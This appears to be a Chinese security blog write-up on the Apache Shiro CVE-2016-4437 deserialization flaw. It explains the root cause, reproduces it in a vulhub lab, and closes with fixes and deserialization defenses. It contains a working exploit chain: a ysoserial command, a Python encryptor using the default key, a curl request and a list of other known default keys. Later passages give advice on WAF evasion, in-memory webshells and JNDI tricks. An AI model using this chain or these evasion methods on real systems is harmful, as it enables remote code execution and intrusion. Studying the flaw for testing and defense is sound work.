Apache Shiro反序列化漏洞CVE-2016-4437原理、复现与防御 1. 从一次内部渗透测试的“意外”发现说起那次内部红蓝对抗演练我负责对一套新上线的Java Web应用进行安全评估。目标系统使用了Spring MVC框架登录模块看起来平平无奇。常规的SQL注入、XSS测试都无功而返就在我准备转向其他方向时Burp Suite抓取到的一个请求引起了我的注意。在登录请求的响应头里明晃晃地躺着一个Set-Cookie: rememberMedeleteMe。这个rememberMe字段对于熟悉Apache Shiro框架的人来说就像黑夜里的灯塔。我立刻意识到这套系统很可能使用了Shiro作为其安全框架而那个deleteMe值通常意味着“记住我”功能被启用但当前请求并未携带有效的rememberMe cookie。这个发现让我精神一振因为Shiro框架在1.2.4及以前版本中存在一个影响深远的反序列化漏洞编号CVE-2016-4437。这个漏洞的利用链成熟危害极大可以直接导致远程代码执行。接下来的几个小时我完整复现并深入分析了这个漏洞今天就把这次“实战”过程中的技术细节、踩坑经验和原理剖析毫无保留地分享出来。简单来说CVE-2016-4437漏洞的核心在于Apache Shiro框架在处理“记住我”功能时对用户提供的rememberMe cookie值进行了反序列化操作并且使用了硬编码的默认密钥进行AES解密。攻击者可以构造一个恶意的序列化对象使用这个已知密钥加密后作为cookie发送给服务器。Shiro服务器会解密并反序列化这个对象从而触发恶意代码执行。这个漏洞之所以经典是因为它完美诠释了“功能便利性”与“安全性”之间的冲突以及“默认不安全”的安全设计反模式。无论你是安全研究人员、渗透测试工程师还是Java后端开发者理解这个漏洞的来龙去脉对于提升安全编码意识和防御能力都至关重要。2. 漏洞原理深度拆解为什么“记住我”变成了“记住攻击者”要理解CVE-2016-4437我们必须深入到Shiro框架处理用户会话和“记住我”功能的内部机制中去。这不仅仅是知道一个利用工具怎么用更要明白每一步操作背后Shiro在做什么以及它为什么会这么做。2.1 Shiro的会话管理与RememberMe功能设计Apache Shiro是一个功能强大且易用的Java安全框架提供了认证、授权、加密和会话管理等功能。其中RememberMe功能允许用户在关闭浏览器后下次访问时无需再次输入用户名密码即可自动登录这极大地提升了用户体验。Shiro实现此功能的逻辑大致如下用户成功登录并勾选“记住我”。Shiro将用户的身份信息Principal序列化成Java对象。使用一个密钥cipherKey对这个序列化后的字节数组进行AES加密。将加密后的数据经过Base64编码设置为一个名为rememberMe的Cookie返回给浏览器。用户下次访问时浏览器会自动带上这个Cookie。Shiro接收到Cookie后反向操作Base64解码 - AES解密 - 反序列化Java对象 - 恢复用户身份实现自动登录。这个流程本身是合理的。问题的关键在于密钥和反序列化的安全性。2.2 致命缺陷一硬编码的默认密钥在Shiro 1.2.4及之前版本中用于AES加密解密的密钥cipherKey是硬编码在源代码中的。具体位置在org.apache.shiro.mgt.AbstractRememberMeManager类中public abstract class AbstractRememberMeManager implements RememberMeManager { private static final byte[] DEFAULT_CIPHER_KEY_BYTES Base64.decode(kPHbIxk5D2deZiIxcaaaA); private Serializer serializer new DefaultSerializer(); private CipherService cipherService new AesCipherService(); private byte[] encryptionCipherKey; private byte[] decryptionCipherKey; public AbstractRememberMeManager() { setCipherKey(DEFAULT_CIPHER_KEY_BYTES); // 使用默认密钥 } // ... 其他代码 }kPHbIxk5D2deZiIxcaaaA这个Base64编码的字符串就是全球所有使用默认配置的Shiro应用共享的“万能钥匙”。这意味着攻击者无需知道目标应用的任何特定信息只要知道它使用了默认配置的Shiro就可以用这把钥匙去加密任何他想让服务器反序列化的数据。注意很多开发者在引入Shiro时可能只是按照快速入门文档配置并未意识到需要修改这个密钥。这种“开箱即用”但“默认不安全”的设计是很多安全问题的根源。2.3 致命缺陷二不安全的反序列化入口第二个关键问题是DefaultSerializer类。它使用了Java原生的ObjectInputStream来反序列化数据。public class DefaultSerializer implements Serializer { Override public Object deserialize(byte[] serialized) throws SerializationException { // ... try { ObjectInputStream ois new ObjectInputStream(new ByteArrayInputStream(serialized)); return ois.readObject(); // 危险的反序列化调用 } catch (Exception e) { throw new SerializationException(...); } } }Java原生的ObjectInputStream.readObject()方法在反序列化时会尝试根据字节流中的类描述符去实例化对应的类。如果这个类实现了Serializable接口并且其readObject方法或构造器、getter/setter方法中存在可被利用的逻辑就可能执行任意代码。2.4 漏洞触发链串联现在我们可以把整个攻击链条串联起来攻击者准备Payload攻击者构造一个恶意的Java对象例如利用Apache Commons Collections库中的Transformer链简称CC链该对象在反序列化时会执行系统命令。加密Payload攻击者使用Shiro公开的默认AES密钥对这个恶意序列化对象进行加密然后做Base64编码。发送请求攻击者向目标Shiro应用发送一个HTTP请求并在Cookie头中携带rememberMe[加密后的Base64字符串]。服务器中招Shiro的RememberMeManager检测到rememberMeCookie。对其进行Base64解码。使用硬编码的默认密钥进行AES解密得到原始的恶意序列化字节流。调用DefaultSerializer.deserialize()进而触发ObjectInputStream.readObject()。恶意对象的反序列化过程被触发嵌入其中的命令执行代码得以运行攻击者成功在服务器上执行了任意命令。这个漏洞的利用条件非常宽松目标系统使用Shiro 1.2.4且未修改默认密钥。在漏洞刚被公开的那段时间这几乎是一个“通杀”型的漏洞。3. 漏洞复现环境搭建与手工利用剖析理解了原理我们通过亲手搭建靶场和尝试手工利用来加深印象。我推荐使用vulhub这个开源漏洞靶场环境它集成了大量漏洞的docker镜像一键搭建非常方便。3.1 靶场环境搭建首先确保你的机器上安装了Docker和Docker Compose。# 1. 拉取vulhub项目 git clone https://github.com/vulhub/vulhub.git cd vulhub/shiro/CVE-2016-4437 # 2. 启动靶场 docker-compose up -d执行成功后访问http://your-ip:8080你会看到一个带有登录页面的简单Web应用。使用任意用户名密码如 admin/admin登录观察Burp Suite或浏览器开发者工具你会在响应中看到Set-Cookie: rememberMedeleteMe这确认了Shiro的存在和RememberMe功能的启用。3.2 手工利用尝试与关键问题排查网上有很多自动化工具如shiro_attack、shiro-exploit可以一键利用但作为学习者我们尝试更深入地理解过程。手工利用的核心是生成一个加密后的恶意rememberMe Cookie。步骤1生成恶意序列化数据我们需要一个能在目标服务器上触发命令执行的序列化对象。通常使用Apache Commons Collections 3.2.1CC3或Commons Collections 4.0CC4的利用链。这里以CC3为例我们可以使用ysoserial工具生成Payload。# 使用ysoserial生成一个执行touch /tmp/success的Payload java -jar ysoserial.jar CommonsCollections5 touch /tmp/success payload.bin步骤2使用Shiro默认密钥加密这是最关键的一步。我们需要模拟Shiro的加密过程AES-128-CBC模式PKCS5Padding填充IV初始化向量为全零。我们需要编写一个简单的Java或Python程序来完成这个加密。以下是一个Python示例需要安装pycryptodome库import base64 import uuid from Crypto.Cipher import AES from Crypto.Util.Padding import pad def shiro_encrypt(payload_bytes): # Shiro默认密钥 key base64.b64decode(kPHbIxk5D2deZiIxcaaaA) # AES CBC模式IV为16字节的0 iv bytes([0] * 16) cipher AES.new(key, AES.MODE_CBC, iv) # 加密并填充 encrypted cipher.encrypt(pad(payload_bytes, AES.block_size)) # Base64编码 return base64.b64encode(encrypted).decode() # 读取ysoserial生成的payload with open(payload.bin, rb) as f: payload f.read() rememberMe_cookie shiro_encrypt(payload) print(frememberMe{rememberMe_cookie})运行这段代码你会得到一个长长的Base64字符串这就是我们的恶意Cookie值。步骤3发送请求并验证使用curl或Burp Suite Repeater发送一个携带此Cookie的请求。curl -v http://your-ip:8080/ -H Cookie: rememberMe生成的Base64字符串发送后我们如何验证命令是否执行成功由于我们的命令是touch /tmp/success需要进入靶场容器内部查看。# 查看运行的docker容器 docker ps # 进入shiro靶场的容器容器名类似 vulhub_shiro_1 docker exec -it container_id /bin/bash # 检查文件是否创建 ls -la /tmp/success如果文件成功创建则证明漏洞利用成功。实操心得与常见坑点Payload兼容性问题不同版本的Java环境、不同的中间件Tomcat, JBoss等对反序列化利用链的兼容性不同。CC链CommonsCollectionsX有很多变种如1 3 5 6 7。如果一种链不成功需要换另一种尝试。在vulhub的Shiro靶场中CommonsCollections5和CommonsCollections7通常成功率较高。密钥并非唯一虽然kPHbIxk5D2deZiIxcaaaA是最著名的默认密钥但Shiro的源码中其实有多个硬编码密钥。一些开发者或框架集成者可能会修改源码中的这个常量导致使用默认密钥攻击失败。因此在实际渗透测试中需要准备一个密钥字典进行爆破。常见的密钥还有4AvVhmFLUs0KTA3Kprsdag,Z3VucwAAAAAAAAAAAAAAAA,fCq/xW488hMTCDcmJ3aQ等。无回显利用上面演示的是执行一个创建文件的命令这属于“有回显”的验证方式通过进入容器查看文件。但在真实黑盒测试中我们无法登录服务器。此时需要采用**无回显回连**的利用方式。例如可以构造Payload让服务器向我们控制的DNS服务器发起解析请求DNSLog或者向我们的监听端口发起HTTP请求从而证明漏洞存在。这需要用到更复杂的Payload生成技术例如使用URLClassLoader加载远程恶意类或者使用内存马如Tomcat Filter/Servlet内存马注入。4. 漏洞修复方案与根治性防御思路复现和分析漏洞的最终目的是为了更好地修复和防御。对于CVE-2016-4437修复方案是明确的但更深层次的是建立防御反序列化攻击的体系化思路。4.1 官方修复与紧急缓解措施Apache Shiro官方在1.2.5版本中修复了此漏洞。修复方案主要包括移除默认密钥AbstractRememberMeManager的构造函数不再设置默认密钥。如果用户不主动配置cipherKeyRememberMe功能将无法使用。这强制开发者必须自己生成并配置一个安全的密钥。提供生成安全密钥的工具官方建议使用org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()方法来生成随机的、足够强度的密钥。对于无法立即升级版本的系统可以采取以下紧急缓解措施修改默认密钥在Shiro的配置文件如shiro.ini或 Spring配置Bean中显式地设置一个自己生成的、强随机密钥。# shiro.ini 示例 securityManager.rememberMeManager.cipherKey your_strong_base64_encoded_key_here// Spring Bean配置示例 Bean public RememberMeManager rememberMeManager() { CookieRememberMeManager manager new CookieRememberMeManager(); byte[] cipherKey Base64.decode(你自己生成的强密钥Base64字符串); manager.setCipherKey(cipherKey); return manager; }禁用RememberMe功能如果业务不需要此功能最彻底的方式是直接禁用它。// 在Shiro配置中不设置rememberMeManager或使用空实现4.2 根治性防御构建反序列化攻击的免疫系统仅仅修复这个CVE是远远不够的。反序列化漏洞是Java安全领域的“常青树”从WebLogic、Fastjson到各种RPC框架层出不穷。我们需要从架构和编码层面建立纵深防御。输入可信边界管控永远不要反序列化不可信的数据。这是黄金法则。RememberMe Cookie、RPC参数、文件上传、网络传输的数据在进入反序列化函数之前必须经过严格的白名单校验。对于Shiro的RememberMe可以考虑使用JWT等无状态、可验证的令牌替代原生序列化。使用安全的序列化替代方案弃用Java原生序列化。考虑使用JSON如Jackson、Gson、XML、Protocol Buffers、MessagePack、Hessian需注意Hessian自身也有反序列化问题等更安全、更高效、更跨语言的序列化方案。这些方案通常不直接关联到可执行的类加载行为。反序列化过滤器JEP 290对于必须使用Java原生序列化的场景如RMI在JDK 9中可以利用JEP 290机制通过设置java.io.ObjectInputFilter来定义反序列化的类白名单或黑名单、数组大小、深度、引用数量等限制。这是JDK层面提供的最重要的防御手段。// 示例设置一个简单的过滤器 ObjectInputFilter filter ObjectInputFilter.Config.createFilter(maxdepth5;maxarray1000;!com.example.exploit.*); // 在反序列化前应用过滤器依赖库安全管理定期扫描和更新项目依赖避免使用已知包含危险可序列化类如旧版本Apache Commons Collections的库。如果必须使用可以考虑使用“安全化”的版本或者通过Java Agent技术在运行时移除或封印危险的类和方法。最小权限原则运行运行Java应用的账户应遵循最小权限原则避免使用root或管理员权限。这样即使被攻破攻击者能造成的破坏也相对有限。代码审计与组件升级将反序列化操作点如readObject,readResolve,readExternal作为代码审计的重点。保持Shiro等安全框架、序列化库Jackson, Fastjson以及JDK本身更新到最新版本。5. 从Shiro到更广阔的反序列化漏洞狩猎掌握了CVE-2016-4437的分析方法你就获得了一把打开反序列化漏洞大门的钥匙。在实战中你需要将这种分析思路扩展到更广泛的场景。第一步识别反序列化入口点不仅仅是Shiro的Cookie。以下都是常见的反序列化入口HTTP参数特别是POST Body中的多层嵌套参数某些框架如Fastjson会尝试自动反序列化。RPC框架Dubbo、gRPC、Thrift的接口参数。消息队列Kafka、RocketMQ消息体。缓存Redis存储的Value如果使用Java原生序列化。文件上传上传的配置文件、模板文件。JMX端口Java管理扩展端口。第二步构造与利用你需要一个强大的“武器库”ysoserial经典的反序列化利用链生成工具支持数十种Gadget链CC, Jdk7u21, Jdk8u20, CommonsBeanutils, Hibernate等。marshalsec专注于生成针对其他序列化协议如Hessian, Jackson, XStream的Payload。JNDI注入利用很多反序列化漏洞的最终目标是触发JNDI查找注入恶意的RMI/LDAP服务地址。需要搭建恶意的RMI/LDAP服务器如marshalsec工具也提供此功能。内存马生成对于Web应用获得RCE后注入一个持久化的内存WebshellFilter/Servlet/Controller内存马比执行单次命令更有价值。第三步绕过与对抗现代应用和JDK版本增加了越来越多的防御措施高版本JDK8u191对JNDI注入的限制限制了从远程代码库加载类。需要寻找新的绕过方式如利用本地ClassPath中的类Tomcat ELProcessor, Groovy进行二次利用。WAF/IDS规则会对常见的序列化魔术头AC ED 00 05 Java原生序列化流和利用链特征进行检测。需要尝试编码、加密、拆分等手段进行混淆。不出网利用目标服务器无法访问外网时需要构造能在本地执行并回显结果的Payload这对利用链的构造提出了更高要求。CVE-2016-4437作为一个里程碑式的漏洞其价值不仅在于它自身的影响更在于它为我们提供了一个绝佳的分析样本。从密钥硬编码到不安全的反序列化从漏洞复现到深入原理再到防御体系的构建这条学习路径适用于绝大多数安全漏洞的研究。在实战中遇到类似问题不妨回想一下分析Shiro漏洞的这套方法定位入口、理解机制、构造利用、思考防御。这才是从一个漏洞的“利用者”成长为“研究者”和“防御者”的关键。